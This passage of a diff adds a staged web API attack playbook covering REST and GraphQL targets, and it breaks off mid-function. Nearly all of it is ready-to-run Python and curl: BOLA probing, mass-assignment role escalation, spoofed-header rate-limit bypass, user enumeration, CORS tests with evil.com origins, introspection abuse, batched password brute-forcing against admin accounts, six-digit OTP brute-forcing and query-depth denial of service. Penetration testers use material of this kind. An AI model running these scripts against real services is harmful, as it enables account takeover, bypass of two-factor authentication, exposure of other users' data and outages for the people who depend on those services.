+ harvest_endpoints = ["/users/me", "/orders", "/invoices", "/documents", "/team/members"]
309
+
310
+ for ep in harvest_endpoints:
311
+ r = requests.get(BASE + ep, headers={"Authorization": USER_A_TOKEN})
312
+ if r.status_code == 200:
313
+ found = UUID_PATTERN.findall(r.text)
314
+ harvested_uuids.update(found)
315
+ print(f"[+] {ep}: {len(found)} UUIDs found")
316
+
317
+ print(f"\n[*] Total unique UUIDs harvested: {len(harvested_uuids)}")
318
+
319
+ # Step 2: Test each UUID as User B across all resource endpoints
320
+ resource_endpoints = [
321
+ "/users/{id}", "/orders/{id}", "/invoices/{id}", "/documents/{id}",
322
+ "/reports/{id}", "/exports/{id}", "/backups/{id}", "/audit-logs/{id}",
323
+ ]
324
+
325
+ bola_findings = []
326
+ for uuid in harvested_uuids:
327
+ for ep_template in resource_endpoints:
328
+ url = BASE + ep_template.format(id=uuid)
329
+ r = requests.get(url, headers={"Authorization": USER_B_TOKEN}, timeout=10)
330
+ if r.status_code == 200 and len(r.text) > 50:
331
+ bola_findings.append({"uuid": uuid, "url": url, "response": r.text[:500]})
332
+ print(f"[BOLA] {url}")
333
+
334
+ with open("uuid_bola.json", "w") as f:
335
+ json.dump(bola_findings, f, indent=2)
336
+ ```
337
+
338
+ #### Step 2.4 — BOLA via indirect references and hashed IDs (EXPERT)
339
+
340
+ ```python
341
+ #!/usr/bin/env python3
342
+ # indirect_bola.py — test BOLA where IDs are encoded/hashed
343
+
344
+ import hashlib
345
+ import base64
346
+ import requests
347
+
348
+ BASE = "https://target.com/api/v1"
349
+ ATTACKER_TOKEN = "Bearer YOUR_JWT"
350
+
351
+ # Many apps use predictable "obfuscation"
352
+ def generate_id_variants(numeric_id):
353
+ variants = []
354
+ # Base64 encoded
355
+ variants.append(base64.b64encode(str(numeric_id).encode()).decode())
356
+ variants.append(base64.urlsafe_b64encode(str(numeric_id).encode()).decode().rstrip('='))
357
+ # MD5 hash
358
+ variants.append(hashlib.md5(str(numeric_id).encode()).hexdigest())
359
+ # SHA1
360
+ variants.append(hashlib.sha1(str(numeric_id).encode()).hexdigest())
361
+ # Hex encoded
362
+ variants.append(hex(numeric_id)[2:])
363
+ # Padded
364
+ variants.append(str(numeric_id).zfill(8))
365
+ # Double base64
366
+ variants.append(base64.b64encode(base64.b64encode(str(numeric_id).encode())).decode())
367
+ return variants
368
+
369
+ for numeric_id in range(1, 500):
370
+ for variant in generate_id_variants(numeric_id):
371
+ r = requests.get(f"{BASE}/users/{variant}",
372
+ headers={"Authorization": ATTACKER_TOKEN}, timeout=5)
373
+ if r.status_code == 200 and 'email' in r.text.lower():
374
+ print(f"[BOLA] ID {numeric_id} via variant '{variant}': {r.text[:150]}")
375
+ ```
376
+
377
+ ---
378
+
379
+ ### Phase 3: REST API — Mass Assignment
380
+
381
+ #### Step 3.1 — Identify writable fields (BEGINNER)
382
+
383
+ ```bash
384
+ # Compare GET response fields vs PUT/PATCH accepted fields
385
+ # Step 1: Get the resource schema from GET
386
+ curl -s https://target.com/api/v1/users/me \
387
+ -H "Authorization: Bearer YOUR_JWT" | jq keys
388
+
389
+ # Step 2: Send PUT with additional fields from the schema
390
+ curl -s -X PUT https://target.com/api/v1/users/me \
391
+ -H "Authorization: Bearer YOUR_JWT" \
392
+ -H "Content-Type: application/json" \
393
+ -d '{"name": "Test", "email": "test@test.com", "role": "admin", "isVerified": true, "credits": 99999, "plan": "enterprise"}'
394
+
395
+ # Step 3: Verify if privileged fields were accepted
396
+ curl -s https://target.com/api/v1/users/me \
397
+ -H "Authorization: Bearer YOUR_JWT" | jq '{role, isVerified, credits, plan}'
398
+ ```
399
+
400
+ #### Step 3.2 — Automated mass assignment probe (INTERMEDIATE)
401
+
402
+ ```python
403
+ #!/usr/bin/env python3
404
+ # mass_assignment.py — brute-force hidden writable fields
405
+
406
+ import requests
407
+ import json
408
+
409
+ BASE = "https://target.com/api/v1"
410
+ TOKEN = "Bearer YOUR_JWT"
411
+ HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}
412
+
413
+ # Common privileged field names to probe
414
+ PRIVILEGED_FIELDS = [
415
+ "role", "roles", "is_admin", "isAdmin", "admin", "superuser",
416
+ "is_verified", "isVerified", "verified", "email_verified",
417
+ "credits", "balance", "wallet", "points",
418
+ "plan", "subscription", "tier", "level",
419
+ "is_active", "isActive", "status", "account_status",
420
+ "permissions", "scopes", "groups",
421
+ "internal", "staff", "employee",
422
+ "discount", "discount_percentage",
423
+ "free_trial", "trial_end_date",
424
+ "api_limit", "rate_limit", "quota",
425
+ "_id", "id", "user_id", "owner_id",
426
+ ]
427
+
428
+ # Endpoints to test
429
+ TEST_ENDPOINTS = [
430
+ ("PUT", "/users/me"),
431
+ ("PATCH", "/users/me"),
432
+ ("PUT", "/profile"),
433
+ ("PATCH", "/profile"),
434
+ ("POST", "/users/me/update"),
435
+ ]
436
+
437
+ # First, get baseline state
438
+ baseline = requests.get(BASE + "/users/me", headers=HEADERS).json()
439
+ print(f"[*] Baseline state: {json.dumps(baseline, indent=2)}")
440
+
441
+ confirmed_writable = []
442
+ for method, endpoint in TEST_ENDPOINTS:
443
+ for field in PRIVILEGED_FIELDS:
444
+ # Try with a clear signal value
445
+ payload = {field: "MASS_ASSIGN_TEST_" + field}
446
+ r = requests.request(method, BASE + endpoint,
447
+ headers=HEADERS, json=payload, timeout=10)
448
+ if r.status_code in (200, 201, 204):
449
+ # Verify if the field changed
450
+ check = requests.get(BASE + "/users/me", headers=HEADERS).json()
451
+ # Flatten for comparison
452
+ check_str = json.dumps(check)
453
+ if "MASS_ASSIGN_TEST" in check_str or field not in json.dumps(baseline):
454
+ confirmed_writable.append({
455
+ "method": method, "endpoint": endpoint,
456
+ "field": field, "response": r.text[:300]
457
+ })
458
+ print(f"[MASS ASSIGNMENT] {method} {endpoint} -> field '{field}' accepted!")
459
+
460
+ print(f"\n[+] Confirmed writable fields: {[f['field'] for f in confirmed_writable]}")
461
+ with open("mass_assignment.json", "w") as f:
462
+ json.dump(confirmed_writable, f, indent=2)
463
+ ```
464
+
465
+ #### Step 3.3 — Mass assignment via nested objects and arrays (ADVANCED)
466
+
467
+ ```bash
468
+ # Nested role escalation
469
+ curl -s -X PATCH https://target.com/api/v1/users/me \
470
+ -H "Authorization: Bearer YOUR_JWT" \
471
+ -H "Content-Type: application/json" \
472
+ -d '{"profile": {"role": "admin"}, "metadata": {"permissions": ["admin", "write", "read"]}}'
473
+
474
+ # Array-based role assignment
475
+ curl -s -X PATCH https://target.com/api/v1/users/me \
476
+ -H "Authorization: Bearer YOUR_JWT" \
477
+ -H "Content-Type: application/json" \
478
+ -d '{"roles": ["admin", "superuser"], "groups": [1, 2, 3]}'
479
+
480
+ # Via registration endpoint (often less restricted)
481
+ curl -s -X POST https://target.com/api/v1/register \
482
+ -H "Content-Type: application/json" \
483
+ -d '{"username": "test123", "password": "P@ssw0rd!", "email": "test@attacker.com",
484
+ "role": "admin", "isVerified": true, "plan": "enterprise", "credits": 99999}'
485
+
486
+ # Via user update with HTTP PUT (full replacement — may accept more fields)
487
+ curl -s -X PUT https://target.com/api/v1/users/me \
488
+ -H "Authorization: Bearer YOUR_JWT" \
489
+ -H "Content-Type: application/json" \
490
+ -d '{"name": "Attacker", "email": "me@test.com", "role": "admin",
491
+ "isAdmin": true, "permissions": ["*"], "account_type": "enterprise"}'
492
+
493
+ # Parameter pollution — duplicate keys (framework-dependent)
494
+ curl -s -X POST https://target.com/api/v1/users/me \
495
+ -H "Authorization: Bearer YOUR_JWT" \
496
+ -H "Content-Type: application/x-www-form-urlencoded" \
497
+ -d 'name=test&role=user&role=admin'
498
+ ```
499
+
500
+ ---
501
+
502
+ ### Phase 4: REST API — Rate Limit Bypass
503
+
504
+ #### Step 4.1 — Fingerprint rate limiting (BEGINNER)
505
+
506
+ ```bash
507
+ # Send rapid requests and observe 429 responses
508
+ for i in $(seq 1 100); do
509
+ curl -so /dev/null -w "%{http_code}\n" \
510
+ https://target.com/api/v1/users/me \
511
+ -H "Authorization: Bearer YOUR_JWT"
512
+ done | sort | uniq -c
513
+
514
+ # Check rate limit headers
515
+ curl -si https://target.com/api/v1/users/me \
516
+ -H "Authorization: Bearer YOUR_JWT" | grep -i "x-ratelimit\|retry-after\|x-rate"
517
+ ```
518
+
519
+ #### Step 4.2 — IP-based rate limit bypass (INTERMEDIATE)
520
+
521
+ ```bash
522
+ # X-Forwarded-For rotation
523
+ for ip in 1.2.3.{1..100}; do
524
+ curl -s -X POST https://target.com/api/v1/auth/reset-password \
525
+ -H "Content-Type: application/json" \
526
+ -H "X-Forwarded-For: $ip" \
527
+ -d '{"email": "victim@target.com"}' &
528
+ done
529
+ wait
530
+
531
+ # Additional headers that may override IP
532
+ # X-Real-IP, X-Originating-IP, X-Remote-IP, X-Client-IP, CF-Connecting-IP
533
+ BYPASS_HEADERS=("X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Remote-IP" "X-Client-IP" "True-Client-IP" "CF-Connecting-IP")
534
+ for header in "${BYPASS_HEADERS[@]}"; do
535
+ echo -n "[$header] "
536
+ curl -s -o /dev/null -w "%{http_code}" \
537
+ -X POST https://target.com/api/v1/auth/login \
538
+ -H "Content-Type: application/json" \
539
+ -H "$header: 10.0.0.1" \
540
+ -d '{"email": "victim@target.com", "password": "wrong"}'
541
+ echo
542
+ done
543
+ ```
544
+
545
+ #### Step 4.3 — Account enumeration via timing (ADVANCED)
546
+
547
+ ```python
548
+ #!/usr/bin/env python3
549
+ # timing_enum.py — user enumeration via response timing differences
550
+
551
+ import requests
552
+ import time
553
+ import statistics
554
+
555
+ BASE = "https://target.com/api/v1"
556
+ EMAILS = ["admin@target.com", "noreply@target.com", "test@target.com",
557
+ "nonexistent_xyz123@target.com", "info@target.com"]
558
+
559
+ def measure_timing(email, samples=5):
560
+ times = []
561
+ for _ in range(samples):
562
+ start = time.perf_counter()
563
+ requests.post(BASE + "/auth/login",
564
+ json={"email": email, "password": "WrongPassword123!"},
565
+ timeout=15)
566
+ elapsed = time.perf_counter() - start
567
+ times.append(elapsed)
568
+ return statistics.mean(times), statistics.stdev(times)
569
+
570
+ print("Timing-based user enumeration:")
571
+ print(f"{'Email':<40} {'Mean (ms)':>10} {'StdDev':>10}")
572
+ print("-" * 65)
573
+ for email in EMAILS:
574
+ mean, stdev = measure_timing(email)
575
+ flag = " <-- EXISTS?" if mean > 0.5 else ""
576
+ print(f"{email:<40} {mean*1000:>10.1f} {stdev*1000:>10.1f}{flag}")
577
+ ```
578
+
579
+ ---
580
+
581
+ ### Phase 5: REST API — HTTP Method Confusion
582
+
583
+ #### Step 5.1 — Method override attacks (INTERMEDIATE)
584
+
585
+ ```bash
586
+ # Try every HTTP method on each endpoint
587
+ for method in GET POST PUT PATCH DELETE HEAD OPTIONS TRACE CONNECT; do
588
+ echo -n "[$method] "
589
+ curl -s -o /dev/null -w "%{http_code}" \
590
+ -X $method https://target.com/api/v1/admin/users \
591
+ -H "Authorization: Bearer LOW_PRIV_JWT"
592
+ echo
593
+ done
594
+
595
+ # HTTP method override headers (bypass method-based ACLs)
596
+ for override in "X-HTTP-Method-Override: DELETE" "X-Method-Override: DELETE" \
597
+ "X-HTTP-Method: DELETE" "_method=DELETE"; do
598
+ echo "Testing: $override"
599
+ curl -s -o /dev/null -w "%{http_code}" \
600
+ -X POST https://target.com/api/v1/admin/users/1 \
601
+ -H "Authorization: Bearer LOW_PRIV_JWT" \
602
+ -H "$override"
603
+ echo
604
+ done
605
+
606
+ # Query parameter method override
607
+ curl -s -X POST "https://target.com/api/v1/admin/users/1?_method=DELETE" \
608
+ -H "Authorization: Bearer LOW_PRIV_JWT"
609
+
610
+ # Verb tunneling — PUT inside POST body
611
+ curl -s -X POST https://target.com/api/v1/users/me \
612
+ -H "Authorization: Bearer YOUR_JWT" \
613
+ -H "X-HTTP-Method-Override: PUT" \
614
+ -H "Content-Type: application/json" \
615
+ -d '{"role": "admin"}'
616
+ ```
617
+
618
+ ---
619
+
620
+ ### Phase 6: REST API — CORS Misconfiguration
621
+
622
+ #### Step 6.1 — CORS testing (BEGINNER/INTERMEDIATE)
623
+
624
+ ```bash
625
+ # Test wildcard CORS
626
+ curl -si https://target.com/api/v1/users/me \
627
+ -H "Origin: https://evil.com" \
628
+ -H "Authorization: Bearer YOUR_JWT" | grep -i "access-control"
629
+
630
+ # Test null origin
631
+ curl -si https://target.com/api/v1/users/me \
632
+ -H "Origin: null" \
633
+ -H "Authorization: Bearer YOUR_JWT" | grep -i "access-control"
634
+
635
+ # Test subdomain bypass
636
+ curl -si https://target.com/api/v1/users/me \
637
+ -H "Origin: https://evil.target.com" \
638
+ -H "Authorization: Bearer YOUR_JWT" | grep -i "access-control"
639
+
640
+ # Test origin reflection
641
+ curl -si https://target.com/api/v1/users/me \
642
+ -H "Origin: https://attacker.com" \
643
+ -H "Authorization: Bearer YOUR_JWT" | grep -i "access-control-allow-origin"
644
+
645
+ # Automated CORS testing with nuclei
646
+ nuclei -u https://target.com -t ~/nuclei-templates/vulnerabilities/cors/ \
647
+ -H "Authorization: Bearer YOUR_JWT"
648
+ ```
649
+
650
+ ```python
651
+ # cors_tester.py — systematic CORS origin testing
652
+ import requests
653
+
654
+ BASE = "https://target.com/api/v1"
655
+ TOKEN = "Bearer YOUR_JWT"
656
+ ENDPOINTS = ["/users/me", "/orders", "/invoices", "/admin/users"]
657
+
658
+ test_origins = [
659
+ "https://evil.com",
660
+ "null",
661
+ "https://evil.target.com",
662
+ "https://target.com.evil.com",
663
+ "https://target-com.evil.com",
664
+ "http://target.com", # HTTP downgrade
665
+ "https://target.com%60.evil.com", # URL encoding
666
+ "https://notarget.com",
667
+ "https://target.com\\.evil.com", # Backslash bypass
668
+ ]
669
+
670
+ for endpoint in ENDPOINTS:
671
+ for origin in test_origins:
672
+ r = requests.get(BASE + endpoint,
673
+ headers={"Authorization": TOKEN, "Origin": origin})
674
+ acao = r.headers.get("Access-Control-Allow-Origin", "")
675
+ acac = r.headers.get("Access-Control-Allow-Credentials", "false")
676
+ if origin in acao or acao == "*":
677
+ vuln_flag = " [VULNERABLE]" if acac.lower() == "true" else " [MISCONFIGURED]"
678
+ print(f"{endpoint} | Origin: {origin} -> ACAO: {acao}{vuln_flag}")
679
+ ```
680
+
681
+ ---
682
+
683
+ ### Phase 7: GraphQL — Introspection Abuse
684
+
685
+ #### Step 7.1 — Basic introspection query (BEGINNER)
686
+
687
+ ```bash
688
+ # Check if introspection is enabled
689
+ curl -s -X POST https://target.com/graphql \
690
+ -H "Content-Type: application/json" \
691
+ -d '{"query": "{ __schema { queryType { name } } }"}' | jq .
692
+
693
+ # Full introspection dump
694
+ curl -s -X POST https://target.com/graphql \
695
+ -H "Content-Type: application/json" \
696
+ -d '{
697
+ "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
698
+ }' > introspection_dump.json
699
+
700
+ # Parse types from dump
701
+ cat introspection_dump.json | jq '.data.__schema.types[].name' | grep -v '^"__'
702
+
703
+ # Parse all queries
704
+ cat introspection_dump.json | jq '.data.__schema.types[] | select(.name == "Query") | .fields[].name'
705
+
706
+ # Parse all mutations
707
+ cat introspection_dump.json | jq '.data.__schema.types[] | select(.name == "Mutation") | .fields[].name'
708
+ ```
709
+
710
+ #### Step 7.2 — Introspection with graphw00f
711
+
712
+ ```bash
713
+ # Full detection and introspection pipeline
714
+ graphw00f -d -t https://target.com/graphql -o graphw00f_output.json
715
+
716
+ # Use graphw00f to detect disabled introspection (confirms GraphQL presence even without introspection)
717
+ # graphw00f uses error message fingerprinting, not just introspection queries
718
+ graphw00f -f -t https://target.com/graphql
719
+
720
+ # Generate introspection report
721
+ graphw00f -d -t https://target.com/graphql --format json -o engine_info.json
722
+ cat engine_info.json | jq .
723
+ ```
724
+
725
+ #### Step 7.3 — Exploiting introspection findings (ADVANCED)
726
+
727
+ ```python
728
+ #!/usr/bin/env python3
729
+ # graphql_exploit.py — enumerate and test mutations from introspection
730
+
731
+ import requests
732
+ import json
733
+
734
+ GRAPHQL_URL = "https://target.com/graphql"
735
+ TOKEN = "Bearer YOUR_JWT"
736
+ HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}
737
+
738
+ def gql(query, variables=None):
739
+ payload = {"query": query}
740
+ if variables:
741
+ payload["variables"] = variables
742
+ r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload)
743
+ return r.json()
744
+
745
+ # Get all mutations
746
+ result = gql("""
747
+ { __schema {
748
+ types {
749
+ name
750
+ kind
751
+ fields { name description args { name type { name kind ofType { name kind } } } }
752
+ }
753
+ }
754
+ }
755
+ """)
756
+
757
+ mutations = [t for t in result["data"]["__schema"]["types"] if t["name"] == "Mutation"]
758
+ if mutations:
759
+ print("[*] Available Mutations:")
760
+ for field in mutations[0].get("fields", []):
761
+ print(f" - {field['name']}")
762
+ for arg in field.get("args", []):
763
+ print(f" arg: {arg['name']} ({arg.get('type', {}).get('name', 'complex')})")
764
+
765
+ # Test privilege escalation mutations
766
+ priv_esc_mutations = [
767
+ 'updateUserRole(userId: "1", role: "ADMIN") { id role }',
768
+ 'grantAdminAccess(userId: "1") { success }',
769
+ 'updatePermissions(userId: "1", permissions: ["ADMIN"]) { id }',
770
+ 'makeUserAdmin(id: "1") { id isAdmin }',
771
+ ]
772
+
773
+ print("\n[*] Testing privilege escalation mutations:")
774
+ for mutation in priv_esc_mutations:
775
+ result = gql(f"mutation {{ {mutation} }}")
776
+ if "errors" not in result:
777
+ print(f"[VULN] mutation {{ {mutation} }}")
778
+ print(f" Response: {json.dumps(result)[:200]}")
779
+ else:
780
+ print(f"[-] {mutation[:60]}... -> {result['errors'][0]['message'][:80]}")
781
+ ```
782
+
783
+ ---
784
+
785
+ ### Phase 8: GraphQL — Schema Recovery Without Introspection (clairvoyance)
786
+
787
+ #### Step 8.1 — Run clairvoyance (INTERMEDIATE)
788
+
789
+ ```bash
790
+ # Install clairvoyance
791
+ pip install clairvoyance
792
+
793
+ # Basic field suggestion harvesting
794
+ clairvoyance -u https://target.com/graphql \
795
+ -H "Authorization: Bearer YOUR_JWT" \
796
+ -o schema.json \
797
+ -w /opt/SecLists/Discovery/Web-Content/graphql.txt
798
+
799
+ # With custom headers (API key, session cookie)
800
+ clairvoyance -u https://target.com/graphql \
801
+ -H "Authorization: Bearer JWT" \
802
+ -H "X-API-Key: YOUR_KEY" \
803
+ -o schema.json
804
+
805
+ # Use broader wordlist for better coverage
806
+ clairvoyance -u https://target.com/graphql \
807
+ -H "Authorization: Bearer YOUR_JWT" \
808
+ -w /opt/SecLists/Discovery/Variables/secret-keywords.txt \
809
+ -o schema_extended.json
810
+
811
+ # Convert recovered schema to SDL (Schema Definition Language)
812
+ python3 -c "
813
+ import json
814
+ data = json.load(open('schema.json'))
815
+ print(json.dumps(data, indent=2))
816
+ "
817
+ ```
818
+
819
+ #### Step 8.2 — Manual field suggestion harvesting (ADVANCED)
820
+
821
+ GraphQL returns suggestions like: `Did you mean 'userSecret'?` when you query a near-match field.
822
+
823
+ ```python
824
+ #!/usr/bin/env python3
825
+ # field_suggester.py — extract schema via GraphQL error messages
826
+
827
+ import requests
828
+ import re
829
+ import string
830
+ import json
831
+ from itertools import product
832
+
833
+ GRAPHQL_URL = "https://target.com/graphql"
834
+ TOKEN = "Bearer YOUR_JWT"
835
+ HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}
836
+
837
+ SUGGESTION_PATTERN = re.compile(r"Did you mean[:\s]+['\"]?(\w+)['\"]?", re.IGNORECASE)
838
+
839
+ discovered_fields = set()
840
+
841
+ def query_field(field_name, type_name="Query"):
842
+ payload = {"query": f"{{ {field_name} }}"}
843
+ try:
844
+ r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=10)
845
+ data = r.json()
846
+ errors = data.get("errors", [])
847
+ for error in errors:
848
+ msg = error.get("message", "")
849
+ matches = SUGGESTION_PATTERN.findall(msg)
850
+ for match in matches:
851
+ if match not in discovered_fields:
852
+ discovered_fields.add(match)
853
+ print(f"[+] Discovered field: {match}")
854
+ return errors
855
+ except Exception as e:
856
+ return []
857
+
858
+ # Probe with common prefixes + single chars to trigger suggestions
859
+ common_prefixes = ["user", "admin", "account", "get", "create", "update", "delete",
860
+ "list", "fetch", "query", "find", "search", "auth", "login",
861
+ "register", "profile", "order", "payment", "invoice", "report",
862
+ "secret", "token", "key", "config", "setting", "flag"]
863
+
864
+ for prefix in common_prefixes:
865
+ for suffix in string.ascii_lowercase:
866
+ query_field(prefix + suffix)
867
+
868
+ # Now probe discovered fields for their sub-fields
869
+ for field in list(discovered_fields):
870
+ payload = {"query": f"{{ {field} {{ nonExistentField_ }} }}"}
871
+ r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=10)
872
+ data = r.json()
873
+ for error in data.get("errors", []):
874
+ matches = SUGGESTION_PATTERN.findall(error.get("message", ""))
875
+ for match in matches:
876
+ discovered_fields.add(f"{field}.{match}")
877
+ print(f"[+] Sub-field: {field}.{match}")
878
+
879
+ print(f"\n[*] Total discovered: {len(discovered_fields)} fields/sub-fields")
880
+ with open("discovered_schema.txt", "w") as f:
881
+ f.write("\n".join(sorted(discovered_fields)))
882
+ ```
883
+
884
+ #### Step 8.3 — Alternative introspection bypass techniques (EXPERT)
885
+
886
+ ```bash
887
+ # Some servers disable __schema but allow __type
888
+ curl -s -X POST https://target.com/graphql \
889
+ -H "Content-Type: application/json" \
890
+ -d '{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}' | jq .
891
+
892
+ # Try with GET method (some APIs have introspection only on GET)
893
+ curl -s "https://target.com/graphql?query=%7B__schema%7BqueryType%7Bname%7D%7D%7D" \
894
+ -H "Authorization: Bearer YOUR_JWT" | jq .
895
+
896
+ # Bypass via field alias (some WAF rules key on __schema literally)
897
+ curl -s -X POST https://target.com/graphql \
898
+ -H "Content-Type: application/json" \
899
+ -d '{"query": "{ s:__schema { queryType { name } } }"}' | jq .
900
+
901
+ # Fragment-based introspection bypass
902
+ curl -s -X POST https://target.com/graphql \
903
+ -H "Content-Type: application/json" \
904
+ -d '{"query": "fragment f on __Schema { queryType { name } } { ...f }"}' | jq .
905
+
906
+ # Try deprecated introspection via __typename on specific types
907
+ curl -s -X POST https://target.com/graphql \
908
+ -H "Content-Type: application/json" \
909
+ -d '{"query": "{ users { __typename id email role } }"}' | jq .
910
+
911
+ # Apollo sandbox — try accessing /_sandbox or /sandbox endpoint
912
+ curl -si https://target.com/_sandbox
913
+ curl -si https://target.com/graphql/sandbox
914
+ curl -si https://target.com/studio
915
+ ```
916
+
917
+ ---
918
+
919
+ ### Phase 9: GraphQL — Batching Attacks (Rate Limit Bypass)
920
+
921
+ #### Step 9.1 — JSON array batching (INTERMEDIATE)
922
+
923
+ Many GraphQL servers support sending multiple operations in a single HTTP request via JSON arrays. Rate limits often apply per HTTP request, not per operation.
924
+
925
+ ```bash
926
+ # Test if batching is supported
927
+ curl -s -X POST https://target.com/graphql \
928
+ -H "Content-Type: application/json" \
929
+ -d '[
930
+ {"query": "{ users { id email } }"},
931
+ {"query": "{ me { id email } }"}
932
+ ]' | jq .
933
+
934
+ # If 200 response with array, batching is enabled
935
+ # Now batch login attempts to bypass per-request rate limits
936
+ python3 - << 'EOF'
937
+ import requests, json
938
+
939
+ GRAPHQL_URL = "https://target.com/graphql"
940
+ TARGET_EMAIL = "admin@target.com"
941
+ PASSWORDS = open("/opt/SecLists/Passwords/darkweb2017-top100.txt").read().splitlines()
942
+
943
+ # Batch 100 password attempts per HTTP request
944
+ BATCH_SIZE = 100
945
+ HEADERS = {"Content-Type": "application/json"}
946
+
947
+ for i in range(0, len(PASSWORDS), BATCH_SIZE):
948
+ batch = PASSWORDS[i:i+BATCH_SIZE]
949
+ payload = [
950
+ {
951
+ "query": f'mutation {{ login(email: "{TARGET_EMAIL}", password: "{pw}") {{ token user {{ id email }} }} }}'
952
+ }
953
+ for pw in batch
954
+ ]
955
+ r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=30)
956
+ responses = r.json()
957
+ for j, resp in enumerate(responses):
958
+ if resp.get("data", {}).get("login", {}).get("token"):
959
+ print(f"[AUTH BYPASS] Password: {batch[j]}")
960
+ print(f"Token: {resp['data']['login']['token']}")
961
+ exit()
962
+ print(f"[*] Batch {i//BATCH_SIZE + 1}: No valid credentials in {len(batch)} attempts")
963
+ EOF
964
+ ```
965
+
966
+ #### Step 9.2 — Alias batching for rate limit bypass (ADVANCED)
967
+
968
+ When JSON array batching is disabled, aliases can batch multiple operations in one query.
969
+
970
+ ```python
971
+ #!/usr/bin/env python3
972
+ # alias_batching.py — bypass rate limits using GraphQL aliases
973
+
974
+ import requests
975
+
976
+ GRAPHQL_URL = "https://target.com/graphql"
977
+ TARGET_EMAIL = "victim@target.com"
978
+ HEADERS = {"Content-Type": "application/json"}
979
+
980
+ def build_alias_batch(email, passwords):
981
+ """Build a single query with aliased mutations for each password"""
982
+ mutations = []
983
+ for i, password in enumerate(passwords):
984
+ # Each alias is a separate mutation under one HTTP request
985
+ mutation = f"""
986
+ attempt_{i}: login(email: "{email}", password: "{password}") {{
987
+ token
988
+ user {{ id email role }}
989
+ }}"""
990
+ mutations.append(mutation)
991
+ query = "mutation {" + "\n".join(mutations) + "}"
992
+ return query
993
+
994
+ # Load wordlist
995
+ passwords = open("/opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt").read().splitlines()
996
+ BATCH_SIZE = 50 # 50 attempts per HTTP request
997
+
998
+ for i in range(0, len(passwords), BATCH_SIZE):
999
+ batch = passwords[i:i+BATCH_SIZE]
1000
+ query = build_alias_batch(TARGET_EMAIL, batch)
1001
+ r = requests.post(GRAPHQL_URL, headers=HEADERS,
1002
+ json={"query": query}, timeout=30)
1003
+ data = r.json().get("data", {})
1004
+ for alias, result in data.items():
1005
+ if result and result.get("token"):
1006
+ pw_index = int(alias.split("_")[1])
1007
+ print(f"[SUCCESS] Password: {batch[pw_index]}")
1008
+ print(f"Token: {result['token']}")
1009
+ exit()
1010
+ print(f"[*] Batch {i//BATCH_SIZE + 1}: {len(batch)} attempts, no match")
1011
+ ```
1012
+
1013
+ #### Step 9.3 — OTP/2FA bypass via batching (EXPERT)
1014
+
1015
+ ```python
1016
+ #!/usr/bin/env python3
1017
+ # otp_bypass.py — brute-force OTP via GraphQL alias batching
1018
+
1019
+ import requests
1020
+
1021
+ GRAPHQL_URL = "https://target.com/graphql"
1022
+ SESSION_TOKEN = "pre-auth-session-token-after-password" # Token from step 1
1023
+ HEADERS = {"Content-Type": "application/json", "Authorization": f"Bearer {SESSION_TOKEN}"}
1024
+
1025
+ # 6-digit OTP: 000000-999999, try all in batches of 100
1026
+ def build_otp_batch(start, end):
1027
+ mutations = []
1028
+ for code in range(start, end):
1029
+ otp = f"{code:06d}"
1030
+ mutations.append(f'otp_{code}: verifyOTP(code: "{otp}") {{ token success }}')
1031
+ return "mutation {" + "\n".join(mutations) + "}"
1032
+
1033
+ print("[*] Starting OTP brute-force via alias batching...")
1034
+ for batch_start in range(0, 1000000, 100):
1035
+ query = build_otp_batch(batch_start, min(batch_start + 100, 1000000))
1036
+ r = requests.post(GRAPHQL_URL, headers=HEADERS,
1037
+ json={"query": query}, timeout=60)
1038
+ data = r.json().get("data", {})
1039
+ for alias, result in data.items():
1040
+ if result and result.get("token"):
1041
+ otp = alias.replace("otp_", "").zfill(6)
1042
+ print(f"[SUCCESS] Valid OTP: {otp}")
1043
+ print(f"Token: {result['token']}")
1044
+ exit()
1045
+ if batch_start % 10000 == 0:
1046
+ print(f"[*] Progress: {batch_start}/1000000 OTPs tested")
1047
+ ```
1048
+
1049
+ ---
1050
+
1051
+ ### Phase 10: GraphQL — Query Depth DoS
1052
+
1053
+ #### Step 10.1 — Nested query DoS (INTERMEDIATE)
1054
+
1055
+ ```bash
1056
+ # Test max query depth (recursive query structures)
1057
+ curl -s -X POST https://target.com/graphql \
1058
+ -H "Content-Type: application/json" \
1059
+ -d '{
1060
+ "query": "{ user { friends { friends { friends { friends { friends { friends { friends { friends { friends { id email } } } } } } } } } } }"
1061
+ }' | jq .
1062
+
1063
+ # Generate deeply nested query programmatically
1064
+ python3 -c "
1065
+ depth = 50
1066
+ nested = 'id email'
1067
+ query = 'friends { ' * depth + nested + ' }' * depth
1068
+ print('{\"query\": \"{ me { ' + query + ' } }\"}')
1069
+ " | curl -s -X POST https://target.com/graphql \
1070
+ -H "Content-Type: application/json" \
1071
+ -d @-
1072
+
1073
+ # Circular reference DoS
1074
+ curl -s -X POST https://target.com/graphql \
1075
+ -H "Content-Type: application/json" \
1076
+ -d '{"query": "{ users { orders { user { orders { user { orders { id } } } } } } }"}'
1077
+ ```
1078
+
1079
+ #### Step 10.2 — Field duplication / complexity DoS (ADVANCED)
1080
+
1081
+ ```python
1082
+ #!/usr/bin/env python3
1083
+ # complexity_dos.py — GraphQL complexity-based resource exhaustion
1084
+
1085
+ import requests
1086
+ import time
1087
+
1088
+ GRAPHQL_URL = "https://target.com/graphql"
1089
+ HEADERS = {"Content-Type": "application/json"}
1090
+
1091
+ def build_complexity_query(field_count=500):
1092
